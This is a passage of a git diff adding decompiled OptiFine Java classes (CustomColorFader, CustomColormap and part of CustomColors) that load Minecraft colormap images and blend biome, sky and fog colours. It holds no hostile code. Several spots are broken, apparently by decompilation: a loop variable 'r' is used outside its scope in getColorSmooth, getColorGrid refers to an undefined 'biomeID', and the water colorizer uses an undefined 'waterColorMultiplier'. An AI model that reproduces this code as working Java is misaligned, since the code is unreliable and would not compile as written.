+    if (Config.getGameSettings() != null)
+    {
+      cat.addCrashSection("Render Distance Chunks", Config.getChunkViewDistance());
+      cat.addCrashSection("Mipmaps", Config.getMipmapLevels());
+      cat.addCrashSection("Anisotropic Filtering", Config.getAnisotropicFilterLevel());
+      cat.addCrashSection("Antialiasing", Config.getAntialiasingLevel());
+      cat.addCrashSection("Multitexture", Config.isMultiTexture());
+    }
+    
+    cat.addCrashSection("Shaders", shadersmod.client.Shaders.getShaderPackName());
+    cat.addCrashSection("OpenGlVersion", Config.openGlVersion);
+    cat.addCrashSection("OpenGlRenderer", Config.openGlRenderer);
+    cat.addCrashSection("OpenGlVendor", Config.openGlVendor);
+    cat.addCrashSection("CpuCount", Config.getAvailableProcessors());
+  }
+}
diff --git a/src/minecraft/optifine/CustomColorFader.java b/src/minecraft/optifine/CustomColorFader.java
new file mode 100644
index 0000000..f7baec1
--- /dev/null
+++ b/src/minecraft/optifine/CustomColorFader.java
@@ -0,0 +1,47 @@
+package optifine;
+
+import net.minecraft.util.Vec3;
+
+public class CustomColorFader
+{
+  private Vec3 color = null;
+  private long timeUpdate = System.currentTimeMillis();
+  
+  public CustomColorFader() {}
+  
+  public Vec3 getColor(double x, double y, double z) { if (color == null)
+    {
+      color = new Vec3(x, y, z);
+      return color;
+    }
+    
+
+    long timeNow = System.currentTimeMillis();
+    long timeDiff = timeNow - timeUpdate;
+    
+    if (timeDiff == 0L)
+    {
+      return color;
+    }
+    
+
+    timeUpdate = timeNow;
+    
+    if ((Math.abs(x - color.xCoord) < 0.004D) && (Math.abs(y - color.yCoord) < 0.004D) && (Math.abs(z - color.zCoord) < 0.004D))
+    {
+      return color;
+    }
+    
+
+    double k = timeDiff * 0.001D;
+    k = Config.limit(k, 0.0D, 1.0D);
+    double dx = x - color.xCoord;
+    double dy = y - color.yCoord;
+    double dz = z - color.zCoord;
+    double xn = color.xCoord + dx * k;
+    double yn = color.yCoord + dy * k;
+    double zn = color.zCoord + dz * k;
+    color = new Vec3(xn, yn, zn);
+    return color;
+  }
+}
diff --git a/src/minecraft/optifine/CustomColormap.java b/src/minecraft/optifine/CustomColormap.java
new file mode 100644
index 0000000..d0e0377
--- /dev/null
+++ b/src/minecraft/optifine/CustomColormap.java
@@ -0,0 +1,551 @@
+package optifine;
+
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.HashSet;
+import java.util.Properties;
+import java.util.Random;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.BlockStateBase;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class CustomColormap implements CustomColors.IColorizer
+{
+  public String name = null;
+  public String basePath = null;
+  private int format = -1;
+  private MatchBlock[] matchBlocks = null;
+  private String source = null;
+  private int color = -1;
+  private int yVariance = 0;
+  private int yOffset = 0;
+  private int width = 0;
+  private int height = 0;
+  private int[] colors = null;
+  private float[][] colorsRgb = null;
+  private static final int FORMAT_UNKNOWN = -1;
+  private static final int FORMAT_VANILLA = 0;
+  private static final int FORMAT_GRID = 1;
+  private static final int FORMAT_FIXED = 2;
+  public static final String KEY_FORMAT = "format";
+  public static final String KEY_BLOCKS = "blocks";
+  public static final String KEY_SOURCE = "source";
+  public static final String KEY_COLOR = "color";
+  public static final String KEY_Y_VARIANCE = "yVariance";
+  public static final String KEY_Y_OFFSET = "yOffset";
+  
+  public CustomColormap(Properties props, String path, int width, int height)
+  {
+    ConnectedParser cp = new ConnectedParser("Colormap");
+    name = cp.parseName(path);
+    basePath = cp.parseBasePath(path);
+    format = parseFormat(props.getProperty("format"));
+    matchBlocks = cp.parseMatchBlocks(props.getProperty("blocks"));
+    source = parseTexture(props.getProperty("source"), path, basePath);
+    color = ConnectedParser.parseColor(props.getProperty("color"), -1);
+    yVariance = cp.parseInt(props.getProperty("yVariance"), 0);
+    yOffset = cp.parseInt(props.getProperty("yOffset"), 0);
+    this.width = width;
+    this.height = height;
+  }
+  
+  private int parseFormat(String str)
+  {
+    if (str == null)
+    {
+      return 0;
+    }
+    if (str.equals("vanilla"))
+    {
+      return 0;
+    }
+    if (str.equals("grid"))
+    {
+      return 1;
+    }
+    if (str.equals("fixed"))
+    {
+      return 2;
+    }
+    
+
+    warn("Unknown format: " + str);
+    return -1;
+  }
+  
+
+  public boolean isValid(String path)
+  {
+    if ((format != 0) && (format != 1))
+    {
+      if (format != 2)
+      {
+        return false;
+      }
+      
+      if (color < 0)
+      {
+        color = 16777215;
+      }
+    }
+    else
+    {
+      if (source == null)
+      {
+        warn("Source not defined: " + path);
+        return false;
+      }
+      
+      readColors();
+      
+      if (colors == null)
+      {
+        return false;
+      }
+      
+      if (color < 0)
+      {
+        if (format == 0)
+        {
+          color = getColor(127, 127);
+        }
+        
+        if (format == 1)
+        {
+          color = getColorGrid(BiomeGenBase.plains, new BlockPos(0, 64, 0));
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+  public boolean isValidMatchBlocks(String path)
+  {
+    if (matchBlocks == null)
+    {
+      matchBlocks = detectMatchBlocks();
+      
+      if (matchBlocks == null)
+      {
+        warn("Match blocks not defined: " + path);
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  private MatchBlock[] detectMatchBlocks()
+  {
+    Block block = Block.getBlockFromName(name);
+    
+    if (block != null)
+    {
+      return new MatchBlock[] { new MatchBlock(Block.getIdFromBlock(block)) };
+    }
+    
+
+    Pattern p = Pattern.compile("^block([0-9]+).*$");
+    Matcher m = p.matcher(name);
+    
+    if (m.matches())
+    {
+      String cp = m.group(1);
+      int mbs = Config.parseInt(cp, -1);
+      
+      if (mbs >= 0)
+      {
+        return new MatchBlock[] { new MatchBlock(mbs) };
+      }
+    }
+    
+    ConnectedParser cp1 = new ConnectedParser("Colormap");
+    MatchBlock[] mbs1 = cp1.parseMatchBlock(name);
+    return mbs1 != null ? mbs1 : null;
+  }
+  
+
+  private void readColors()
+  {
+    try
+    {
+      colors = null;
+      
+      if (source == null)
+      {
+        return;
+      }
+      
+      String e = source + ".png";
+      ResourceLocation loc = new ResourceLocation(e);
+      InputStream is = Config.getResourceStream(loc);
+      
+      if (is == null)
+      {
+        return;
+      }
+      
+      BufferedImage img = net.minecraft.client.renderer.texture.TextureUtil.func_177053_a(is);
+      
+      if (img == null)
+      {
+        return;
+      }
+      
+      int imgWidth = img.getWidth();
+      int imgHeight = img.getHeight();
+      boolean widthOk = (width < 0) || (width == imgWidth);
+      boolean heightOk = (height < 0) || (height == imgHeight);
+      
+      if ((!widthOk) || (!heightOk))
+      {
+        dbg("Non-standard palette size: " + imgWidth + "x" + imgHeight + ", should be: " + width + "x" + height + ", path: " + e);
+      }
+      
+      width = imgWidth;
+      height = imgHeight;
+      
+      if ((width <= 0) || (height <= 0))
+      {
+        warn("Invalid palette size: " + imgWidth + "x" + imgHeight + ", path: " + e);
+        return;
+      }
+      
+      colors = new int[imgWidth * imgHeight];
+      img.getRGB(0, 0, imgWidth, imgHeight, colors, 0, imgWidth);
+    }
+    catch (IOException var9)
+    {
+      var9.printStackTrace();
+    }
+  }
+  
+  private static void dbg(String str)
+  {
+    Config.dbg("CustomColors: " + str);
+  }
+  
+  private static void warn(String str)
+  {
+    Config.warn("CustomColors: " + str);
+  }
+  
+
+
+  private static String parseTexture(String texStr, String path, String basePath)
+  {
+    if (texStr != null)
+    {
+      String str = ".png";
+      
+      if (texStr.endsWith(str))
+      {
+        texStr = texStr.substring(0, texStr.length() - str.length());
+      }
+      
+      texStr = fixTextureName(texStr, basePath);
+      return texStr;
+    }
+    
+
+    String str = path;
+    int pos = path.lastIndexOf('/');
+    
+    if (pos >= 0)
+    {
+      str = path.substring(pos + 1);
+    }
+    
+    int pos2 = str.lastIndexOf('.');
+    
+    if (pos2 >= 0)
+    {
+      str = str.substring(0, pos2);
+    }
+    
+    str = fixTextureName(str, basePath);
+    return str;
+  }
+  
+
+  private static String fixTextureName(String iconName, String basePath)
+  {
+    iconName = TextureUtils.fixResourcePath(iconName, basePath);
+    
+    if ((!iconName.startsWith(basePath)) && (!iconName.startsWith("textures/")) && (!iconName.startsWith("mcpatcher/")))
+    {
+      iconName = basePath + "/" + iconName;
+    }
+    
+    if (iconName.endsWith(".png"))
+    {
+      iconName = iconName.substring(0, iconName.length() - 4);
+    }
+    
+    String pathBlocks = "textures/blocks/";
+    
+    if (iconName.startsWith(pathBlocks))
+    {
+      iconName = iconName.substring(pathBlocks.length());
+    }
+    
+    if (iconName.startsWith("/"))
+    {
+      iconName = iconName.substring(1);
+    }
+    
+    return iconName;
+  }
+  
+  public boolean matchesBlock(BlockStateBase blockState)
+  {
+    return Matches.block(blockState, matchBlocks);
+  }
+  
+  public int getColorRandom()
+  {
+    if (format == 2)
+    {
+      return color;
+    }
+    
+
+    int index = CustomColors.random.nextInt(colors.length);
+    return colors[index];
+  }
+  
+
+  public int getColor(int index)
+  {
+    index = Config.limit(index, 0, colors.length);
+    return colors[index] & 0xFFFFFF;
+  }
+  
+  public int getColor(int cx, int cy)
+  {
+    cx = Config.limit(cx, 0, width - 1);
+    cy = Config.limit(cy, 0, height - 1);
+    return colors[(cy * width + cx)] & 0xFFFFFF;
+  }
+  
+  public float[][] getColorsRgb()
+  {
+    if (colorsRgb == null)
+    {
+      colorsRgb = toRgb(colors);
+    }
+    
+    return colorsRgb;
+  }
+  
+  public int getColor(IBlockAccess blockAccess, BlockPos blockPos)
+  {
+    BiomeGenBase biome = CustomColors.getColorBiome(blockAccess, blockPos);
+    return getColor(biome, blockPos);
+  }
+  
+  public boolean isColorConstant()
+  {
+    return format == 2;
+  }
+  
+  public int getColor(BiomeGenBase biome, BlockPos blockPos)
+  {
+    return format == 1 ? getColorGrid(biome, blockPos) : format == 0 ? getColorVanilla(biome, blockPos) : color;
+  }
+  
+  public int getColorSmooth(IBlockAccess blockAccess, double x, double y, double z, int radius)
+  {
+    if (format == 2)
+    {
+      return color;
+    }
+    
+
+    int x0 = MathHelper.floor_double(x);
+    int y0 = MathHelper.floor_double(y);
+    int z0 = MathHelper.floor_double(z);
+    int sumRed = 0;
+    int sumGreen = 0;
+    int sumBlue = 0;
+    int count = 0;
+    BlockPosM blockPosM = new BlockPosM(0, 0, 0);
+    
+
+
+
+    for (int r = x0 - radius; r <= x0 + radius; r++)
+    {
+      for (int g = z0 - radius; g <= z0 + radius; g++)
+      {
+        blockPosM.setXyz(r, y0, g);
+        int b = getColor(blockAccess, blockPosM);
+        sumRed += (b >> 16 & 0xFF);
+        sumGreen += (b >> 8 & 0xFF);
+        sumBlue += (b & 0xFF);
+        count++;
+      }
+    }
+    
+    r = sumRed / count;
+    int g = sumGreen / count;
+    int b = sumBlue / count;
+    return r << 16 | g << 8 | b;
+  }
+  
+
+  private int getColorVanilla(BiomeGenBase biome, BlockPos blockPos)
+  {
+    double temperature = MathHelper.clamp_float(biome.func_180626_a(blockPos), 0.0F, 1.0F);
+    double rainfall = MathHelper.clamp_float(biome.getFloatRainfall(), 0.0F, 1.0F);
+    rainfall *= temperature;
+    int cx = (int)((1.0D - temperature) * (width - 1));
+    int cy = (int)((1.0D - rainfall) * (height - 1));
+    return getColor(cx, cy);
+  }
+  
+  private int getColorGrid(BiomeGenBase biome, BlockPos blockPos)
+  {
+    int cx = biomeID;
+    int cy = blockPos.getY() - yOffset;
+    
+    if (yVariance > 0)
+    {
+      int seed = blockPos.getX() << 16 + blockPos.getZ();
+      int rand = Config.intHash(seed);
+      int range = yVariance * 2 + 1;
+      int diff = (rand & 0xFF) % range - yVariance;
+      cy += diff;
+    }
+    
+    return getColor(cx, cy);
+  }
+  
+  public int getLength()
+  {
+    return format == 2 ? 1 : colors.length;
+  }
+  
+  public int getWidth()
+  {
+    return width;
+  }
+  
+  public int getHeight()
+  {
+    return height;
+  }
+  
+  private static float[][] toRgb(int[] cols)
+  {
+    float[][] colsRgb = new float[cols.length][3];
+    
+    for (int i = 0; i < cols.length; i++)
+    {
+      int col = cols[i];
+      float rf = (col >> 16 & 0xFF) / 255.0F;
+      float gf = (col >> 8 & 0xFF) / 255.0F;
+      float bf = (col & 0xFF) / 255.0F;
+      float[] colRgb = colsRgb[i];
+      colRgb[0] = rf;
+      colRgb[1] = gf;
+      colRgb[2] = bf;
+    }
+    
+    return colsRgb;
+  }
+  
+  public void addMatchBlock(MatchBlock mb)
+  {
+    if (matchBlocks == null)
+    {
+      matchBlocks = new MatchBlock[0];
+    }
+    
+    matchBlocks = ((MatchBlock[])Config.addObjectToArray(matchBlocks, mb));
+  }
+  
+  public void addMatchBlock(int blockId, int metadata)
+  {
+    MatchBlock mb = getMatchBlock(blockId);
+    
+    if (mb != null)
+    {
+      if (metadata >= 0)
+      {
+        mb.addMetadata(metadata);
+      }
+      
+    }
+    else {
+      addMatchBlock(new MatchBlock(blockId, metadata));
+    }
+  }
+  
+  private MatchBlock getMatchBlock(int blockId)
+  {
+    if (matchBlocks == null)
+    {
+      return null;
+    }
+    
+
+    for (int i = 0; i < matchBlocks.length; i++)
+    {
+      MatchBlock mb = matchBlocks[i];
+      
+      if (mb.getBlockId() == blockId)
+      {
+        return mb;
+      }
+    }
+    
+    return null;
+  }
+  
+
+  public int[] getMatchBlockIds()
+  {
+    if (matchBlocks == null)
+    {
+      return null;
+    }
+    
+
+    HashSet setIds = new HashSet();
+    
+    for (int ints = 0; ints < matchBlocks.length; ints++)
+    {
+      MatchBlock ids = matchBlocks[ints];
+      
+      if (ids.getBlockId() >= 0)
+      {
+        setIds.add(Integer.valueOf(ids.getBlockId()));
+      }
+    }
+    
+    Integer[] var5 = (Integer[])setIds.toArray(new Integer[setIds.size()]);
+    int[] var6 = new int[var5.length];
+    
+    for (int i = 0; i < var5.length; i++)
+    {
+      var6[i] = var5[i].intValue();
+    }
+    
+    return var6;
+  }
+  
+
+  public String toString()
+  {
+    return basePath + "/" + name + ", blocks: " + Config.arrayToString(matchBlocks) + ", source: " + source;
+  }
+}
diff --git a/src/minecraft/optifine/CustomColors.java b/src/minecraft/optifine/CustomColors.java
new file mode 100644
index 0000000..7339598
--- /dev/null
+++ b/src/minecraft/optifine/CustomColors.java
@@ -0,0 +1,1806 @@
+package optifine;
+
+import java.awt.image.BufferedImage;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Properties;
+import java.util.Random;
+import java.util.Set;
+import javax.imageio.ImageIO;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockRedstoneWire;
+import net.minecraft.block.BlockStaticLiquid;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.BlockStateBase;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.particle.EntityFX;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemMonsterPlacer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.potion.Potion;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.ColorizerFoliage;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.biome.BiomeGenBase;
+import org.apache.commons.lang3.tuple.ImmutablePair;
+import org.apache.commons.lang3.tuple.Pair;
+
+public class CustomColors
+{
+  private static CustomColormap waterColors = null;
+  private static CustomColormap foliagePineColors = null;
+  private static CustomColormap foliageBirchColors = null;
+  private static CustomColormap swampFoliageColors = null;
+  private static CustomColormap swampGrassColors = null;
+  private static CustomColormap[] colorsBlockColormaps = null;
+  private static CustomColormap[][] blockColormaps = null;
+  private static CustomColormap skyColors = null;
+  private static CustomColorFader skyColorFader = new CustomColorFader();
+  private static CustomColormap fogColors = null;
+  private static CustomColorFader fogColorFader = new CustomColorFader();
+  private static CustomColormap underwaterColors = null;
+  private static CustomColorFader underwaterColorFader = new CustomColorFader();
+  private static CustomColormap[] lightMapsColorsRgb = null;
+  private static int lightmapMinDimensionId = 0;
+  private static float[][] sunRgbs = new float[16][3];
+  private static float[][] torchRgbs = new float[16][3];
+  private static CustomColormap redstoneColors = null;
+  private static CustomColormap xpOrbColors = null;
+  private static CustomColormap stemColors = null;
+  private static CustomColormap stemMelonColors = null;
+  private static CustomColormap stemPumpkinColors = null;
+  private static CustomColormap myceliumParticleColors = null;
+  private static boolean useDefaultGrassFoliageColors = true;
+  private static int particleWaterColor = -1;
+  private static int particlePortalColor = -1;
+  private static int lilyPadColor = -1;
+  private static int expBarTextColor = -1;
+  private static int bossTextColor = -1;
+  private static int signTextColor = -1;
+  private static Vec3 fogColorNether = null;
+  private static Vec3 fogColorEnd = null;
+  private static Vec3 skyColorEnd = null;
+  private static int[] spawnEggPrimaryColors = null;
+  private static int[] spawnEggSecondaryColors = null;
+  private static float[][] wolfCollarColors = null;
+  private static float[][] sheepColors = null;
+  private static int[] textColors = null;
+  private static int[] mapColorsOriginal = null;
+  private static int[] potionColors = null;
+  private static final IBlockState BLOCK_STATE_DIRT = Blocks.dirt.getDefaultState();
+  private static final IBlockState BLOCK_STATE_WATER = Blocks.water.getDefaultState();
+  public static Random random = new Random();
+  private static final IColorizer COLORIZER_GRASS = new IColorizer()
+  {
+    public int getColor(IBlockAccess blockAccess, BlockPos blockPos)
+    {
+      BiomeGenBase biome = CustomColors.getColorBiome(blockAccess, blockPos);
+      return (CustomColors.swampGrassColors != null) && (biome == BiomeGenBase.swampland) ? CustomColors.swampGrassColors.getColor(biome, blockPos) : biome.func_180627_b(blockPos);
+    }
+    
+    public boolean isColorConstant() {
+      return false;
+    }
+  };
+  private static final IColorizer COLORIZER_FOLIAGE = new IColorizer()
+  {
+    public int getColor(IBlockAccess blockAccess, BlockPos blockPos)
+    {
+      BiomeGenBase biome = CustomColors.getColorBiome(blockAccess, blockPos);
+      return (CustomColors.swampFoliageColors != null) && (biome == BiomeGenBase.swampland) ? CustomColors.swampFoliageColors.getColor(biome, blockPos) : biome.func_180625_c(blockPos);
+    }
+    
+    public boolean isColorConstant() {
+      return false;
+    }
+  };
+  private static final IColorizer COLORIZER_FOLIAGE_PINE = new IColorizer()
+  {
+    public int getColor(IBlockAccess blockAccess, BlockPos blockPos)
+    {
+      return CustomColors.foliagePineColors != null ? CustomColors.foliagePineColors.getColor(blockAccess, blockPos) : ColorizerFoliage.getFoliageColorPine();
+    }
+    
+    public boolean isColorConstant() {
+      return CustomColors.foliagePineColors == null;
+    }
+  };
+  private static final IColorizer COLORIZER_FOLIAGE_BIRCH = new IColorizer()
+  {
+    public int getColor(IBlockAccess blockAccess, BlockPos blockPos)
+    {
+      return CustomColors.foliageBirchColors != null ? CustomColors.foliageBirchColors.getColor(blockAccess, blockPos) : ColorizerFoliage.getFoliageColorBirch();
+    }
+    
+    public boolean isColorConstant() {
+      return CustomColors.foliageBirchColors == null;
+    }
+  };
+  private static final IColorizer COLORIZER_WATER = new IColorizer()
+  {
+    public int getColor(IBlockAccess blockAccess, BlockPos blockPos)
+    {
+      BiomeGenBase biome = CustomColors.getColorBiome(blockAccess, blockPos);
+      return Reflector.ForgeBiomeGenBase_getWaterColorMultiplier.exists() ? Reflector.callInt(biome, Reflector.ForgeBiomeGenBase_getWaterColorMultiplier, new Object[0]) : CustomColors.waterColors != null ? CustomColors.waterColors.getColor(biome, blockPos) : waterColorMultiplier;
+    }
+    
+
+    public boolean isColorConstant() { return false; }
+  };
+  
+  public CustomColors() {}
+  
+  public static void update() {
+    waterColors = null;
+    foliageBirchColors = null;
+    foliagePineColors = null;
+    swampGrassColors = null;
+    swampFoliageColors = null;
+    skyColors = null;
+    fogColors = null;
+    underwaterColors = null;
+    redstoneColors = null;
+    xpOrbColors = null;
+    stemColors = null;
+    myceliumParticleColors = null;
+    lightMapsColorsRgb = null;
+    particleWaterColor = -1;
+    particlePortalColor = -1;
+    lilyPadColor = -1;
+    expBarTextColor = -1;
+    bossTextColor = -1;
+    signTextColor = -1;
+    fogColorNether = null;
+    fogColorEnd = null;
+    skyColorEnd = null;
+    colorsBlockColormaps = null;
+    blockColormaps = null;
+    useDefaultGrassFoliageColors = true;
+    spawnEggPrimaryColors = null;
+    spawnEggSecondaryColors = null;
+    wolfCollarColors = null;
+    sheepColors = null;
+    textColors = null;
+    setMapColors(mapColorsOriginal);
+    potionColors = null;
+    net.minecraft.potion.PotionHelper.clearPotionColorCache();
+    String mcpColormap = "mcpatcher/colormap/";
+    String[] waterPaths = { "water.png", "watercolorX.png" };
+    waterColors = getCustomColors(mcpColormap, waterPaths, 256, 256);
+    updateUseDefaultGrassFoliageColors();
+    
+    if (Config.isCustomColors())
+    {
+      String[] pinePaths = { "pine.png", "pinecolor.png" };
+      foliagePineColors = getCustomColors(mcpColormap, pinePaths, 256, 256);
+      String[] birchPaths = { "birch.png", "birchcolor.png" };
+      foliageBirchColors = getCustomColors(mcpColormap, birchPaths, 256, 256);
+      String[] swampGrassPaths = { "swampgrass.png", "swampgrasscolor.png" };
+      swampGrassColors = getCustomColors(mcpColormap, swampGrassPaths, 256, 256);
+      String[] swampFoliagePaths = { "swampfoliage.png", "swampfoliagecolor.png" };
+      swampFoliageColors = getCustomColors(mcpColormap, swampFoliagePaths, 256, 256);
+      String[] sky0Paths = { "sky0.png", "skycolor0.png" };
+      skyColors = getCustomColors(mcpColormap, sky0Paths, 256, 256);
+      String[] fog0Paths = { "fog0.png", "fogcolor0.png" };
+      fogColors = getCustomColors(mcpColormap, fog0Paths, 256, 256);
+      String[] underwaterPaths = { "underwater.png", "underwatercolor.png" };
+      underwaterColors = getCustomColors(mcpColormap, underwaterPaths, 256, 256);
+      String[] redstonePaths = { "redstone.png", "redstonecolor.png" };
+      redstoneColors = getCustomColors(mcpColormap, redstonePaths, 16, 1);
+      xpOrbColors = getCustomColors(mcpColormap + "xporb.png", -1, -1);
+      String[] stemPaths = { "stem.png", "stemcolor.png" };
+      stemColors = getCustomColors(mcpColormap, stemPaths, 8, 1);
+      stemPumpkinColors = getCustomColors(mcpColormap + "pumpkinstem.png", 8, 1);
+      stemMelonColors = getCustomColors(mcpColormap + "melonstem.png", 8, 1);
+      String[] myceliumPaths = { "myceliumparticle.png", "myceliumparticlecolor.png" };
+      myceliumParticleColors = getCustomColors(mcpColormap, myceliumPaths, -1, -1);
+      Pair lightMaps = parseLightmapsRgb();
+      lightMapsColorsRgb = (CustomColormap[])lightMaps.getLeft();
+      lightmapMinDimensionId = ((Integer)lightMaps.getRight()).intValue();
+      readColorProperties("mcpatcher/color.properties");
+      blockColormaps = readBlockColormaps(new String[] { mcpColormap + "custom/", mcpColormap + "blocks/" }, colorsBlockColormaps, 256, 256);
+      updateUseDefaultGrassFoliageColors();
+    }
+  }
+  
+  private static Pair<CustomColormap[], Integer> parseLightmapsRgb()
+  {
+    String lightmapPrefix = "mcpatcher/lightmap/world";
+    String lightmapSuffix = ".png";
+    String[] pathsLightmap = ResUtils.collectFiles(lightmapPrefix, lightmapSuffix);
+    HashMap mapLightmaps = new HashMap();
+    
+
+    for (int setDimIds = 0; setDimIds < pathsLightmap.length; setDimIds++)
+    {
+      String dimIds = pathsLightmap[setDimIds];
+      String minDimId = StrUtils.removePrefixSuffix(dimIds, lightmapPrefix, lightmapSuffix);
+      int maxDimId = Config.parseInt(minDimId, Integer.MIN_VALUE);
+      
+      if (maxDimId == Integer.MIN_VALUE)
+      {
+        warn("Invalid dimension ID: " + minDimId + ", path: " + dimIds);
+      }
+      else
+      {
+        mapLightmaps.put(Integer.valueOf(maxDimId), dimIds);
+      }
+    }
+    
+    Set var15 = mapLightmaps.keySet();
+    Integer[] var16 = (Integer[])var15.toArray(new Integer[var15.size()]);
+    Arrays.sort(var16);
+    
+    if (var16.length <= 0)
+    {
+      return new ImmutablePair(null, Integer.valueOf(0));
+    }
+    
+
+    int var17 = var16[0].intValue();
+    int maxDimId = var16[(var16.length - 1)].intValue();
+    int countDim = maxDimId - var17 + 1;
+    CustomColormap[] colormaps = new CustomColormap[countDim];
+    
+    for (int i = 0; i < var16.length; i++)
+    {
+      Integer dimId = var16[i];
+      String path = (String)mapLightmaps.get(dimId);
+      CustomColormap colors = getCustomColors(path, -1, -1);
+      
+      if (colors != null)
+      {
+        if (colors.getWidth() < 16)
+        {
+          warn("Invalid lightmap width: " + colors.getWidth() + ", path: " + path);
+        }
+        else
+        {
+          int lightmapIndex = dimId.intValue() - var17;
+          colormaps[lightmapIndex] = colors;
+        }
+      }
+    }
+    
+    return new ImmutablePair(colormaps, Integer.valueOf(var17));
+  }
+  
+
+  private static int getTextureHeight(String path, int defHeight)
+  {
+    try
+    {
+      InputStream e = Config.getResourceStream(new ResourceLocation(path));
+      
+      if (e == null)
+      {
+        return defHeight;
+      }
+      
+
+      BufferedImage bi = ImageIO.read(e);
+      e.close();
+      return bi == null ? defHeight : bi.getHeight();
+    }
+    catch (IOException var4) {}
+    
+
+    return defHeight;
+  }
+  
+
+  private static void readColorProperties(String fileName)
+  {
+    try
+    {
+      ResourceLocation e = new ResourceLocation(fileName);
+      InputStream in = Config.getResourceStream(e);
+      
+      if (in == null)
+      {
+        return;
+      }
+      
+      dbg("Loading " + fileName);
+      Properties props = new Properties();
+      props.load(in);
+      in.close();
+      particleWaterColor = readColor(props, new String[] { "particle.water", "drop.water" });
+      particlePortalColor = readColor(props, "particle.portal");
+      lilyPadColor = readColor(props, "lilypad");
+      expBarTextColor = readColor(props, "text.xpbar");
+      bossTextColor = readColor(props, "text.boss");
+      signTextColor = readColor(props, "text.sign");
+      fogColorNether = readColorVec3(props, "fog.nether");
+      fogColorEnd = readColorVec3(props, "fog.end");
+      skyColorEnd = readColorVec3(props, "sky.end");
+      colorsBlockColormaps = readCustomColormaps(props, fileName);
+      spawnEggPrimaryColors = readSpawnEggColors(props, fileName, "egg.shell.", "Spawn egg shell");
+      spawnEggSecondaryColors = readSpawnEggColors(props, fileName, "egg.spots.", "Spawn egg spot");
+      wolfCollarColors = readDyeColors(props, fileName, "collar.", "Wolf collar");
+      sheepColors = readDyeColors(props, fileName, "sheep.", "Sheep");
+      textColors = readTextColors(props, fileName, "text.code.", "Text");
+      int[] mapColors = readMapColors(props, fileName, "map.", "Map");
+      
+      if (mapColors != null)
+      {
+        if (mapColorsOriginal == null)
+        {
+          mapColorsOriginal = getMapColors();
+        }
+        
+        setMapColors(mapColors);
+      }
+      
+      potionColors = readPotionColors(props, fileName, "potion.", "Potion");
+
+
+    }
+    catch (FileNotFoundException var5) {}catch (IOException var6)
+    {
+
+
+      var6.printStackTrace();
+    }
+  }
+  
+  private static CustomColormap[] readCustomColormaps(Properties props, String fileName)
+  {
+    ArrayList list = new ArrayList();
+    String palettePrefix = "palette.block.";
+    HashMap map = new HashMap();
+    Set keys = props.keySet();
+    Iterator propNames = keys.iterator();
+    
+
+    while (propNames.hasNext())
+    {
+      String cms = (String)propNames.next();
+      String name = props.getProperty(cms);
+      
+      if (cms.startsWith(palettePrefix))
+      {
+        map.put(cms, name);
+      }
+    }
+    
+    String[] var17 = (String[])map.keySet().toArray(new String[map.size()]);
+    
+    for (int var18 = 0; var18 < var17.length; var18++)
+    {
+      String name = var17[var18];
+      String value = props.getProperty(name);
+      dbg("Block palette: " + name + " = " + value);
+      String path = name.substring(palettePrefix.length());
+      String basePath = TextureUtils.getBasePath(fileName);
+      path = TextureUtils.fixResourcePath(path, basePath);
+      CustomColormap colors = getCustomColors(path, 256, 256);
+      
+      if (colors == null)
+      {
+        warn("Colormap not found: " + path);
+      }
+      else
+      {
+        ConnectedParser cp = new ConnectedParser("CustomColors");
+        MatchBlock[] mbs = cp.parseMatchBlocks(value);
+        
+        if ((mbs != null) && (mbs.length > 0))
+        {
+          for (int m = 0; m < mbs.length; m++)
+          {
+            MatchBlock mb = mbs[m];
+            colors.addMatchBlock(mb);
+          }
+          
+          list.add(colors);
+        }
+        else
+        {
+          warn("Invalid match blocks: " + value);
+        }
+      }
+    }
+    
+    if (list.size() <= 0)
+    {
+      return null;
+    }
+    
+
+    CustomColormap[] var19 = (CustomColormap[])list.toArray(new CustomColormap[list.size()]);
+    return var19;
+  }
+  
+
+  private static CustomColormap[][] readBlockColormaps(String[] basePaths, CustomColormap[] basePalettes, int width, int height)
+  {
+    String[] paths = ResUtils.collectFiles(basePaths, new String[] { ".properties" });
+    Arrays.sort(paths);
+    ArrayList blockList = new ArrayList();
+    
+
+    for (int cmArr = 0; cmArr < paths.length; cmArr++)
+    {
+      String cm = paths[cmArr];
+      dbg("Block colormap: " + cm);
+      
+      try
+      {
+        ResourceLocation e = new ResourceLocation("minecraft", cm);
+        InputStream in = Config.getResourceStream(e);
+        
+        if (in == null)
+        {
+          warn("File not found: " + cm);
+        }
+        else
+        {
+          Properties props = new Properties();
+          props.load(in);
+          CustomColormap cm1 = new CustomColormap(props, cm, width, height);
+          
+          if ((cm1.isValid(cm)) && (cm1.isValidMatchBlocks(cm)))
+          {
+            addToBlockList(cm1, blockList);
+          }
+        }
+      }
+      catch (FileNotFoundException var12)
+      {
+        warn("File not found: " + cm);
+      }
+      catch (Exception var13)
+      {
+        var13.printStackTrace();
+      }
+    }
+    
+    if (basePalettes != null)
+    {
